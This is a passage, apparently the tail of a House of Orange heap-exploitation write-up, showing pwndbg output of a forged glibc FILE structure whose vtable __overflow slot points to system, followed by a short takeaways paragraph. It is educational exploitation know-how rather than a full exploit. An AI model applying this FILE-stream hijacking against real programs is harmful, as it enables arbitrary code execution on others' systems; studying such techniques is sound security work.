  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x0,
  _offset = 0,
  _codecvt = 0x0,
  _wide_data = 0x0,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 12 times>, "0\370C\2469\177\000"
}
pwndbg> p *((struct _IO_FILE_plus)$2).vtable
$3 = {
  __dummy = 0,
  __dummy2 = 0,
  __finish = 0x0,
  __overflow = 0x7f39a643f830 <__libc_system>,
  __underflow = 0x562d53f110d8,
  __uflow = 0x0,
  __pbackfail = 0x0,
  __xsputn = 0x0,
  __xsgetn = 0x0,
  __seekoff = 0x0,
  __seekpos = 0x0,
  __setbuf = 0x0,
  __sync = 0x0,
  __doallocate = 0x0,
  __read = 0x0,
  __write = 0x0,
  __seek = 0x0,
  __close = 0x0,
  __stat = 0x0,
  __showmanyc = 0x0,
  __imbue = 0x0
}

Takeaways

The House of Orange exploit is a sophisticated and elegant attack that demonstrates the power of combining heap exploitation (unsorted bin) with FILE stream hijacking. Mastery of this attack requires deep understanding of libc internals and memory manipulation.